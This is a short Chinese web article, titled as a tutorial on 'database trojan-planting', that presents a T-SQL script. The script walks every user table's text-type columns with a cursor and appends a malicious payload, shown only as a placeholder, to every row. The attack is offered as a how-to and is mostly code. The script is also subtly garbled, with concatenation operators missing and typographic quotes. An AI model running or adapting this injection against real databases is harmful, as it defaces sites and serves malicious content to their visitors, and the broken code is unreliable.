当前位置: 移动技术网 > 网络运营>安全>企业安全 > 教你数据库挂马

教你数据库挂马

2018年04月18日  | 移动技术网网络运营  | 我要评论
以前说过的趋势挂马事件,ms这个挂马方法已经流行了很久,从去年就大规模开始了,在网上可以搜到很多痕迹。

sql语句如下:

用游标遍历所有表里如下数据类型的字段,然后update挂马。(全部是允许写入字符的字段)


xtype=99 ntext

xtype=35 text

xtype=231 nvarchar

xtype=167 varchar

———————yd的分割——————————–

declare @t varchar(255),
@c varchar(255)
declare table_cursor cursor for
select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec(’update [’ @t ’] set [’ @c ’]=
rtrim(convert(varchar,[’ @c ’]))
”挂马内容”’)
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor

———————yd的分割——————————–

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网